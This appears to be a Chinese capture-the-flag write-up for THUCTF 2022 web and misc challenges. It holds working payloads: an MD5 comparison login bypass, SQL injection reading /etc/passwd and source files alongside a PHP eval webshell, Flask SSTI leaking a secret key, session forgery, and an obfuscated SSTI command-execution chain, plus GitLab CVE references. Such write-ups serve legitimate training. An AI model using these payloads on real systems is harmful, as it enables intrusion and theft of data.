THUCTF 2022

部分wp,又被大佬们吊打了捏-。-

web

What is $? - flag1

1
2
==
PHP

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
// error_reporting(1);
function autoload($class) {
@include_once(__DIR__.'/'.strtolower(str_replace('\\', '/', $class)).'.php');
}
spl_autoload_register('autoload');
session_start();

if (!isset($_GET['action']) || ($_GET['action'] == 'login' && (!isset($_POST['cb_user']) || !isset($_POST['cb_pass']))))
die();

if ($_GET['action'] == 'login' && $_POST['cb_user'] == 'admin' && $_SERVER['REMOTE_ADDR'] != '127.0.0.1')
die('access denied');

function require_admin() {
if (!isset($_SESSION['admin']) || !$_SESSION['admin'])
die('access denied');
}

switch ($_REQUEST['action']) {
case 'login':
if ($_POST['cb_user'] == 'admin' && !preg_match('/a/si', $_POST['cb_pass']) && md5($_POST['cb_pass']) == md5($_POST['cb_salt'].'a')) {
$_SESSION['admin'] = true;
die(lib\Flag::FLAG1);
} else
die('try harder');
break;
case 'save_item':
require_admin();

$item_name = $_POST['item']['name'];
$item_uuid = $_POST['item']['uuid'];
$item_content = $_POST['item']['content'];
$item_filename = 'up/'.substr(md5($item_name),0,4).'.php';

if (!preg_match('/^[a-zA-Z0-9]*$/', $item_name) || !preg_match('/^\S{8}-\S{27}$/', $item_uuid))
die('blanket and special characters is not allowed in item name or uuid is invalid');

$db = new lib\DB();
if ($db->query("INSERT INTO items (`name`, `uuid`, `filename`) VALUES ('$item_name', '$item_uuid', '$item_filename')")) {
@file_put_contents($item_filename, $item_content);
die('success');
}
else
die('internal server error');
case 'list_item':
require_admin();

$db = new lib\DB();
$res = $db->query("SELECT * FROM items");
if (!$res)
die('error');

while ($row = mysqli_fetch_assoc($res)) {
echo '--- start '.$row['name'].' '.$row['uuid'].' ---<br/>';
echo 'Content: '.file_get_contents($row['filename']).'<br/>';
echo '--- end '.$row['name'].' '.$row['uuid'].' ---<br/><br/>';
}
break;
default:
die('unsupported action');
}

payload:

1
cb_user=admin&cb_pass=QNKCDZO&cb_salt=s878926199&action=login

image-20220929234203762

What is $? - flag2

1
2
3
4
flag2是不是会跟flag1在一起呢?flag1在哪呢?
spl_autoload_register
sssssqqqqqllllllll
嘟嘟嘟嘟嘟嘟稳健

save_item的uuid可控,造成sql注入,任意读取文件

1
item[name]=admin&item[uuid]=40233990-fc0f1247','/etc/passwd')###&item[content]=<?php eval($_POST[1]);?>

image-20220930200233394

image-20220930223207122

注意看这段:

1
2
3
4
5
6
<?php
// error_reporting(1);
function autoload($class) {
@include_once(__DIR__.'/'.strtolower(str_replace('\\', '/', $class)).'.php');
}
spl_autoload_register('autoload');

可以得到flag的路径为./lib/flag.php

payload

1
item[name]=admin&item[uuid]=40233990-fgc7l','./lib/flag.php')###&item[content]=<?php eval($_POST[1]);?>

What is $? - flag3(未出)

1
2
3
为啥允许上传 .php 后缀文件?
file_get_contents 除了读文件...
这道题目与 PHP 反序列化相关

不会,猜测是phar反序列化,不知道对不对,因为测试了file_get_contents可以触发phar( 几乎所有文件操作函数都可触发phar反序列化)。我好菜QAQ

PyChall - flag1

1
Flask session 伪造

怀疑存在SSTI,试了一下登录用户无果,nc测试了一下确实可以发送请求。

在VPS上写1.txt

1
{{config}}

image-20221001164258655

成功读取flask配置

1
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': '74a832d6-c6ef-485c-a09c-3f1c38221674', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': None, 'JSON_SORT_KEYS': None, 'JSONIFY_PRETTYPRINT_REGULAR': None, 'JSONIFY_MIMETYPE': None, 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

得到密钥

1
'SECRET_KEY': '74a832d6-c6ef-485c-a09c-3f1c38221674'

接着伪造session(工具github上有)

1
2
3
4
5
python3 flask_session_cookie_manager3.py encode -s "74a832d6-c6ef-485c-a09c-3f1c38221674" -t '{
"isAdmin": 1,
"username": "admin"
}'
eyJpc0FkbWluIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.Yzf2kg.Jz8WAwQks8_33h-TZcruKEJtpSI

修改session接着访问flag就行

1
Here is your flag: THUCTF{Congratu1ate!Now-try-to-RCEeeee!@}

PyChall - flag2(赛后)

1
SSTI, Try to RCE

payload:

1
{{url_for["__glob""als__"]["__buil""tins__"]["__impo""rt__"]("o""s")["po""pen"]("nl /fla*")["rea""d"]()}}

baby_gitlab

1
CVE-2021-22205

照着这篇大佬的文章复现即可。

easy_gitlab(未出)

1
CVE-2022-2185	

ESU管理员/CVE-2022-2185:wo ee cve-2022-2185 gitlab 身份验证的rce (github.com)

misc

小可莉能有什么坏心思呢?(未出)

小可莉都是坏心思

用stegsolve看到了ABCD的四个字母,EF应该在最后一张,但是我没调到清晰的图像,不干了,就这样吧!

image-20221001150406791

1
THUCTF{chtgzjsvkfdbetmv(还有EF)